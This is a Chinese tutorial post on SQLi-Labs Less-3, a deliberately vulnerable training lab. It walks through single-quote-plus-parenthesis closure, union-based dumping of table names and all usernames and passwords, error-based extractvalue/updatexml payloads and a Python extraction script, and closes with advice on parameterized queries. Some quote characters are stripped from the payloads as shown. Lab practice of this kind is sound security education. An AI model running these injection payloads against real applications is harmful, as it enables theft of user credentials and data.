SQLi-Labs Less-3详解:字符型注入中的单引号括号闭合与手工注入实战

发布时间:2026/9/26 2:36:30
SQLi-Labs Less-3详解:字符型注入中的单引号括号闭合与手工注入实战 sqli-labs的Less-3很多新手第一次卡住的地方其实不在注入本身而在于那一层不太起眼的括号。Less-1和Less-2的教程满网都是一到Less-3很多人就丢给你一句“单引号加括号闭合”然后就没有然后了。结果自己上手试的时候一会儿?id1正常一会儿?id1报错报错信息里还多了个)完全不知道该怎么接。这关真正的价值不是让你多背一种闭合方式而是逼你学会看报错、猜SQL、验闭合。这套能力后面Less-4到Less-65全都用得上所以今天就把Less-3从头到尾拆开讲一遍从环境准备、源码分析到手工注入的完整流程每一步都说清楚。1. 认识Less-3这一关到底在考什么1.1 sqli-labs靶场与Less-3的定位sqli-labs是练SQL注入最经典的一套PHP靶场总共有65关覆盖了字符型注入、数字型注入、报错注入、布尔盲注、时间盲注、堆叠注入、二次注入、宽字节注入等常见场景。每一关都有单独的PHP页面和数据库连接目的就是让你在一个完全可控的环境里反复练习手工注入的整套流程。Less-3在整套靶场里属于“基于错误的单引号变形注入”编号是第三关。前两关分别是单引号字符型和纯数字型到了第三关源码里把参数直接用一对括号包了起来形成了($id)这种查询结构。这意味着你在注入时不仅要考虑单引号的闭合还要把那个右括号一起闭合掉。理解这一点就能明白为什么Less-3会被称为“带括号的单引号注入”。1.2 Less-3和Less-1、Less-2的核心差异为了更直观地看出差别我把前三关的查询逻辑整理了一下关卡源码SQL逻辑注入类型需要闭合的内容Less-1WHERE id$id字符型单引号Less-2WHERE id$id数字型无需闭合直接拼接Less-3WHERE id($id)字符型括号单引号和右括号)从表格能看出来Less-1只需要你输入一个单引号去闭合前引号再注释掉后面的内容Less-2呢由于参数根本没加引号你甚至可以直接在数字后面接union select而Less-3是在单引号的外面又套了一层括号所以如果你只闭合单引号后面的右括号依然会让SQL语法错误。打个比方Less-1像是一个包装盒你只需要撕开外面的胶带Less-3则是包装盒里还有一个内盒你撕开胶带后还得把内盒的盖子也掀开才能真正拿到里面的东西。这也是很多新手觉得第三关比前两关突然难了一截的原因。2. 环境准备与源码分析2.1 把靶场跑起来sqli-labs的搭建并不复杂。最常见的做法是下载源码后放到PHP集成环境里比如phpstudy、小皮面板、XAMPP都行。我习惯用phpstudy因为它的Apache和MySQL可以一键启动对新手最友好。具体步骤大致是这样从GitHub下载sqli-labs源码解压到phpstudy的WWW目录下重命名为sqlilabs。根据PHP版本修改sql-connections/db-creds.php里的数据库账号密码。一般本机MySQL默认账号是root密码根据自己的环境填。访问http://localhost/sqlilabs/进入首页后点击“Setup/reset Database”初始化数据库。初始化完成后通过目录里的链接进入Less-3或者直接访问http://localhost/sqlilabs/Less-3/。环境跑起来之后页面就是一个带id参数的GET接口输入?id1会返回用户名和密码。这个页面结构非常清晰就适合用来一遍遍验证payload。2.2 读一遍源码比盲打更重要很多人打靶场喜欢直接开扫这没问题但如果你真想搞懂Less-3最好打开Less-3/index.php看一眼。这个文件里的核心SQL部分通常是这样的$id $_GET[id]; $sql SELECT * FROM users WHERE id($id) LIMIT 0,1; $result mysql_query($sql);关键就在WHERE id($id)这一行。你传入的id会被直接拼进这个字符串里。由于最外层包裹了括号正常的查询是类似SELECT * FROM users WHERE id(1)。一旦我们传入的内容里出现单引号整个SQL语句就出问题了。比如传入1实际SQL变成SELECT * FROM users WHERE id(1) LIMIT 0,1这里单引号被提前闭合后面多出来一个)MySQL解析不了于是把错误信息返回到了页面上。而sqli-labs默认开启了错误显示所以我们能直接看到类似You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1) LIMIT 0,1的报错。这条报错就是整个Less-3最重要的线索。不需要搜索引擎不用猜SQL语句的尾部结构已经通过报错告诉我们了传入1后查询拼接成了1)前面的1是我们的输入后面那个)是源码里原本就有的右括号。看到这个你应该心里有数要构造正确语法必须先把这段变成合法的闭合。3. 手工注入实操从探测到脱库3.1 判断注入点一个单引号引发的语法错误手工注入的第一步永远是探测注入点。在Less-3页面打开http://127.0.0.1/sqlilabs/Less-3/?id1正常显示一条用户信息。接着输入?id1页面直接报语法错误这就说明参数存在SQL注入而且极大概率是字符型。区别字符型和数字型的方法很简单数字型?id1和?id2都正常?id1报错但如果尝试?id1 and 11、?id1 and 12逻辑会生效说明参数没有引号包裹。字符型?id1报错报错信息里能看到我们的输入被引号包裹比如1)。Less-3显然是后者。因为报错信息里出现了一个)这就比Less-1多了一层信息——位置在括号内。3.2 确认闭合方式看到)就懂了继续看报错。把URL设为?id1页面底部错误信息里会明确显示near 1) LIMIT 0,1我来拆一下这段。原SQL是这样的SELECT * FROM users WHERE id($id) LIMIT 0,1当$id替换成1后拼接出SELECT * FROM users WHERE id(1) LIMIT 0,1MySQL在解析时先遇到的和1后面的是一对引号结束字符串然后剩了一个)无法匹配于是报错。所以你需要做的是让传入的值首先把自己后面的单引号闭合掉同时再用一个)把源码中的右括号也闭合掉。也就是说你的payload应该以)开头再配合注释符把原本在行尾的)#等剩余部分全部忽略。于是先验证闭合方式是否成立?id1) --这个payload传入后SQL变成了SELECT * FROM users WHERE id(1) -- ) LIMIT 0,1单引号和右括号都被正常闭合后面的)被注释符吞掉SQL语法正确页面正常回显第一条用户数据。走到这一步你已经成功掌握了Less-3的闭合规则)。3.3 用order by确认字段数量闭合确认之后下一步是确定SELECT查询的字段数量。最常用的手段是order by因为ORDER BY N表示按第N列排序如果该列不存在MySQL就会报错。依次尝试?id1) order by 1 -- ?id1) order by 2 -- ?id1) order by 3 --前三次都正常回显而order by 4时报错提示Unknown column 4 in order clause。这说明users表或者当前查询结果只有3列。这个结果很关键决定了后面的union select需要对应几个字段。这里有一个容易踩的坑order by后面既可以跟数字也可以跟列名但在手工注入探测列数时一定是跟数字。因为列名是未知的数字才是通用的判断方式。3.4 union select确定回显位置知道了查询有3列接下来就用union select看看哪些字段会显示在页面上。核心思路是先把前面查询的结果置空再让union后面的查询结果作为页面输出这样可以更清晰地定位回显位置。先尝试最简单的payload?id1) union select 1,2,3 --页面里会多出一行数据其中显示的是2和3说明第2列和第3列会回显到页面上。这里的1没有显示不是不存在只是第1个字段的位置没有被渲染。但没关系2和3已经够用了。为了让union后面的结果更干净通常会把前面的id改成一个不存在的负数比如?id-1) union select 1,2,3 --因为id-1在表里查不到数据最终页面显示的就是union部分的结果不会和原有数据混在一起。3.5 爆出当前数据库和所有表定位回显位置之后就进入信息获取阶段。先用database()直接拿到当前数据库名?id-1) union select 1,database(),3 --页面回显security说明当前数据库是security。接着利用MySQL自带的信息库information_schema查询所有表名?id-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity --这里group_concat会把多行数据拼接成一行方便查看。回显结果中能看到users、emails、referers、uagents等表。重点关注users表因为里面一般是用户名和密码。然后查users表的列名?id-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_schemasecurity and table_nameusers --回显结果会出现id,username,password三个字段。最后查具体数据?id-1) union select 1,group_concat(username,0x3a,password),3 from security.users --这里我用0x3a表示冒号的十六进制作用是分隔用户名和密码。回显结果会把所有用户和密码一次拼接出来Less-3的完整手工注入流程到这里就走通了。4. Payload背后的原理与细节4.1 为什么必须正确闭合括号很多新手不太理解为什么Less-3的payload一定要写成1)而不是1。原因在于原始SQL的结构是id($id)可以把它拆成四个部分id(、开引号、参数$id、闭引号、右括号)。当参数替换为1时开引号与参数里的单引号配对后面源码自带的闭引号就多出来了再加上右括号SQL变成(1)两个右括号不匹配语法必然报错。如果写成1)参数内容就是1)拼接到SQL里后变成WHERE id(1))注意这里的第一个和第二个配对然后)和源码自带的)配对后面的)即原来查询末尾的闭括号被注释符忽略。这样一来语法就是完整的。这个逻辑可以归纳成一个通用原则当网页源码把参数包进多层结构时你的输入必须要能产生与这些结构配对的闭合符号。只要看到报错信息里有和)不匹配就照着这个方向去试。4.2 注释符的选择--、--、#在Less-3的payload里我全程用了--作为注释符。这里有三个细节值得讲清楚。第一MySQL支持--注释但要求--后面必须跟上空格或控制字符。在URL中空格会被编码成%20或所以--里的加号在服务端会被解码成空格从而满足MySQL的注释条件。这是最常用的写法。第二如果你不喜欢--也可以直接用#注释。但#在URL中必须编码为%23不然浏览器会把它当成锚点发不到后端。比如?id-1) union select 1,database(),3 %23这种写法在GET请求里同样有效。第三注释符的核心作用是从当前位置开始把后面所有内容全部忽略。Less-3原始SQL的末尾是LIMIT 0,1和闭合符号如果我们不注释掉它们整个语句会多出多余内容导致语法错误或者查询结果不符合预期。4.3 完整Payload速查表为了方便复现我把Less-3从探测到脱库的完整payload整理成一个表格后面打靶场可以直接对照着用。阶段payload用途探测注入点?id1触发SQL语法错误确认注入验证闭合?id1) --确认闭合方式为单引号加右括号判断列数?id1) order by 3 --确定当前查询共有3列定位回显位?id-1) union select 1,2,3 --确认第2、3列可回显获取数据库?id-1) union select 1,database(),3 --获取当前数据库名security获取表名?id-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity --获取所有表名获取列名?id-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_schemasecurity and table_nameusers --获取users表所有字段获取数据?id-1) union select 1,group_concat(username,0x3a,password),3 from security.users --拼接方式输出全部账号密码这张表只针对Less-3但思路对后续关卡完全通用不同的只是闭合符号和可能被过滤的关键字。5. 常见问题与排查技巧5.1 加了单引号却不报错先查环境和编码有些人在Less-3尝试?id1时发现页面没有报错和预期不符。这个情况我遇到不少次一般有几个原因。第一个原因是数据库连接层开了类似magic_quotes_gpc的自动转义把单引号自动变成了\导致注入闭合失效。这时候你可以在URL里尝试提交%bf%27这种宽字节或者检查PHP环境的配置项。第二个原因是浏览器或某些客户端工具自动对URL做了规范化处理把单引号编码成了%27但服务端没有正确解码表现出的现象就是参数没变。第三个原因更常见你用的不是Less-3可能是Less-1或者其他关卡源码结构不同。排查方法是直接抓包看实际发送的请求或者直接在地址栏输入拼接好的%27。原则上只要后端把$_GET[id]原样拼接进SQL单引号一定会破坏语法。5.2 为什么union select查出来的是0或乱码如果你执行union select 1,2,3时页面显示的是数字2、3但执行union select 1,database(),3时database()的位置显示的不是数据库名而是数字0或不正常的内容通常是因为回显位置判断错了。Less-3的回显位是第2列和第3列所以你要把想要获取的信息放在第2或第3个位置。如果你把database()写在了第1个位置而页面不渲染第1个字段自然看不到结果。这也是为什么我前面一直强调先做order by再做union select定位回显位顺序不能乱。另一种情况是你把group_concat写在了某个不显示的位置结果当然为空。这时候只需要调整字段内容的位置即可。5.3 注释符写对了却还是报错留意空格和编码--在URL里好用但在Burp Suite的Repeater里有时候会出问题。因为Burp里不会像浏览器那样自动转换所以你需要在--后面手动补一个空格即--或者用--%20。很多人在Postman里测试时把--原样发送服务端收到的是--而MySQL要求--后必须跟空格加号不是空白字符所以就不生效。解决办法是统一使用%23作为注释符也就是URL编码后的#这样最省心。5.4 当union被过滤时Less-3也可以用报错注入Less-3作为教学关卡union注入已经足够但实际场景中经常碰到union被WAF过滤的情况。这时候我们可以换报错注入思路。MySQL的extractvalue和updatexml能从报错信息里带出我们想要的数据。比如用extractvalue获取数据库名?id1) and extractvalue(1,concat(0x7e,database())) --用updatexml获取表名?id1) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemasecurity)),1) --这个思路在Less-3里同样测试通过。之所以放在最后说是因为它依赖报错信息回显不如union注入直观但当你面对payload长度限制或关键字过滤时这就是一条很重要的备选路径。6. 从Less-3延伸出去的能力6.1 Less-4来了双引号加括号打完Less-3再看Less-4会非常轻松因为Less-4的源码结构是WHERE id($id)把单引号换成了双引号。注入时只需要把闭合符号从)改成)即可。比如?id1) order by 3 -- ?id-1) union select 1,2,3 --这种规律性正是sqli-labs的巧妙之处每相邻几关就在一个基础类型上做小变形。当你熟练掌握了Less-3的括号闭合思路后面遇到任何奇怪的拼接方式都可以用同样的方法去分析报错、试闭合、验证列数然后完成数据提取。6.2 把手工流程写成Python脚本手工打一遍之后建议把重复劳动脚本化这样既能加深理解也能为后续自动化测试打基础。下面是一个简单的Python脚本示例演示如何用requests库自动完成Less-3的数据提取import requests base_url http://127.0.0.1/sqlilabs/Less-3/ session requests.Session() def get_payload(union_part): # 闭合Less-3的单引号加括号 return f-1) union select {union_part} -- # 获取数据库名 payload get_payload(1,database(),3) r session.get(base_url, params{id: payload}) print(Database:, r.text.split(Database: )[1][:20]) # 获取表名 payload get_payload(1,group_concat(table_name),3 from information_schema.tables where table_schemasecurity) r session.get(base_url, params{id: payload}) print(Tables:, r.text.split(Tables: )[1][:100])这里只是框架实际解析页面时可以用正则提取错误输出或直接按HTML标签定位。重点是理解脚本里每一步都在模拟手工注入流程而不是盲目请求。6.3 攻击练习背后的防守视角打靶场很容易让人沉浸在“能脱库就很爽”的状态里但停一下想想如果这是一个真实的业务系统攻击者的视角和防守者的视角其实是同一份SQL语句。Less-3之所以能被注入问题不在于用户输入了单引号而在于开发者把用户输入直接拼进了SQL字符串。稍微想一下防御方案如果用PDO预处理或者用参数化查询($id)会变成id(?)这样的占位符用户输入永远只是数据不会被当作SQL语法执行。所以练完这一关我建议顺手把源码里的mysql_query改成预处理语句对比一下看看为什么同样的payload打不动参数化查询。这才是一个完整的闭环知道攻击是怎么发生的也更清楚漏洞是怎么被堵住的。个人在实际打Less-3时最大的体会是不要急。很多人一上来就搜payload复制完发现没用就以为是环境问题。其实只要静下心来看一眼报错信息把SQL在脑子里拼一遍闭合方式完全可以自己推导出来。Less-3只是一个开始它教会我的是一件特别基础但特别重要的事任何SQL注入本质都是你在和数据库的语法规则对话先把语法规则摸清楚后面的payload都是水到渠成。